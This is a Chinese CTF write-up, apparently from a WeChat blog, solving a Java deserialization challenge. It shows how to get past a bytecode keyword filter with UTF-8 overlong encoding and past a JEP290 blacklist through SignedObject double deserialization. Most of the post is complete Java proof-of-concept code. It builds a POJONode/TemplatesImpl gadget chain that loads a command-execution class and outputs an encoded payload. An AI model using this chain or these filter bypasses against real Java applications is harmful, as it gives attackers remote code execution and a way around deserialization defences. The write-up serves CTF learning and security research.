1.题干
题目来自
https://www.polarctf.com/#/page/challenges
先看依赖,只有jackson,那么基本只能走toString-getter-TemplatesImpl。
再看反序列化点。
有两处校验,第一处是字节码校验,显然要用UTF8编码绕过。
第二处是JEP290
核心过滤类为
javax.management.BadAttributeValueExpException
org.springframework.aop.target.HotSwappableTargetSource
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
前两者是防止我们用toString的,后者是防止我们加载字节码的。
2.Bypass
绕过第一处校验需要用UTF8Overlong,能消除绝大部分类名特征,比较现代的反序列化工具都已经集成了,代码一般使用的UTF8BytesMix或者UTF8OverlongObjectOutputStream。
https://github.com/Whoopsunix/utf-8-overlong-encoding/blob/main/src/main/java/com/ppp/UTF8BytesMix.java
https://github.com/Whoopsunix/utf-8-overlong-encoding/blob/main/src/main/java/com/ppp/UTF8OverlongObjectOutputStream.java
它们的用法分别是这样的。
UTF8OverlongObjectOutputStream oos = new UTF8OverlongObjectOutputStream(new FileOutputStream("1.ser"));
oos.writeObject(bd);
// ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));
// ois.readObject();
byte[] serbs = Utils.serialize(bd);
serbs = new UTF8BytesMix(serbs).builder();
new FileOutputStream("2.ser").write(serbs);
// Utils.deserialize(serbs);
效果如下。
绕过第二处校验,必须二次反序列化,如果出网的情况下,还有一些选择。但目标不出网,因此只剩下了SignedObject.getObject()一种办法。然后还要找个不在黑名单内的toString(),这个就比较简单,TextAndMnemonicHashMap/EventListenerList/ArrayTable等等都可以,这里选择了最简单的XString+HashMap,详情见最近跟jdbc有关的新知识——toString篇。
也就是说大致的反序列化链是这样的。
readObject()->
XString.equals()->
POJONode.toString()->
SignedObject.getObject()->
//绕过了第二次校验因此可以用黑名单里的类了。
BadAttributeValueExpException.readObject()->
POJONode.toString()->
TemplatesImpl.getOutputProperties()
代码如下
FileInputStream inputFromFile = new FileInputStream("D:\Downloads\workspace\javareadobject\bin\payload\TemplatesImplCalc.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{bs});
Reflections.setFieldValue(templates, "_name", "xx");
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructoraop = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructoraop.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructoraop.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
POJONode node = new POJONode(proxy);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
Reflections.setFieldValue(bd,"val",node);
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(bd, kp.getPrivate(), java.security.Signature.getInstance("DSA"));
POJONode node2 = new POJONode(signedObject);
XObject xString = new XString("foo");
HashMap<Object, Object> map1 = new HashMap();
HashMap<Object, Object> map2 = new HashMap();
map1.put("yy", node2);
map1.put("zZ", xString);
map2.put("yy", xString);
map2.put("zZ", node2);
HashMap hashmap = Utils.makeMap(map1, map2);
UTF8OverlongObjectOutputStream utf8oos2 = new UTF8OverlongObjectOutputStream(new FileOutputStream("2.ser"));
utf8oos2.writeObject(hashmap);
byte[] serbs2 = Files.readAllBytes(Paths.get("2.ser"));
String base64String = new String(Base64.getEncoder().encode(serbs2));
base64String = base64String.replace("+", "%2b");
System.out.print(base64String);
Utils.deserialize(serbs2);
3.出现问题
本地起环境测试,然而却被第一处字节码校验拦住。
不是已经用了UTF8OverlongObjectOutputStream吗?看看2.ser。
那么换成UTF8BytesMix,可以发现成功绕过第一处字节码校验,但实际反序列化的时候数据出错。
难道是抄的代码有问题?我们换更强的web-chains。
https://github.com/vulhub/java-chains
哪里出现问题了呢?
4.解决问题
需要理解UTF8OverlongObjectOutputStream和UTF8BytesMix的不同。
UTF8OverlongObjectOutputStream是在序列化过程中修改的字节码,而UTF8BytesMix是在序列化完成之后修改的字节码。
这也为什么UTF8OverlongObjectOutputStream没有将所有特征都修改完成导致没绕过第一处的字节码校验的原因,因为并不是所有的序列化过程它都参与了。显然SignedObject作为二次反序列化的核心类,它在实例化的时候的序列化过程UTF8OverlongObjectOutputStream就没有参与,导致还残存关键字。
所以只要将SignedObject序列化时也用UTF8OverlongObjectOutputStream即可,这里可以直接反射修改content字段即可,最终poc。
FileInputStream inputFromFile = new FileInputStream("D:\Downloads\workspace\javareadobject\bin\payload\TemplatesImplTomcat678910cmdecho.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{bs});
Reflections.setFieldValue(templates, "_name", "xx");
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructoraop = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructoraop.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructoraop.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
POJONode node = new POJONode(proxy);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
Reflections.setFieldValue(bd,"val",node);
UTF8OverlongObjectOutputStream utf8oos1 = new UTF8OverlongObjectOutputStream(new FileOutputStream("1.ser"));
utf8oos1.writeObject(bd);
byte[] serbs1 = Files.readAllBytes(Paths.get("1.ser"));
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(bd, kp.getPrivate(), java.security.Signature.getInstance("DSA"));
Reflections.setFieldValue(signedObject, "content", serbs1);
POJONode node2 = new POJONode(signedObject);
XObject xString = new XString("foo");
HashMap<Object, Object> map1 = new HashMap();
HashMap<Object, Object> map2 = new HashMap();
map1.put("yy", node2);
map1.put("zZ", xString);
map2.put("yy", xString);
map2.put("zZ", node2);
HashMap hashmap = Utils.makeMap(map1, map2);
UTF8OverlongObjectOutputStream utf8oos2 = new UTF8OverlongObjectOutputStream(new FileOutputStream("2.ser"));
utf8oos2.writeObject(hashmap);
byte[] serbs2 = Files.readAllBytes(Paths.get("2.ser"));
String base64String = new String(Base64.getEncoder().encode(serbs2));
base64String = base64String.replace("+", "%2b");
System.out.print(base64String);
//Utils.deserialize(serbs2);
原文始发于微信公众号(珂技知识分享):一道反序列化bypass题ez_check
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论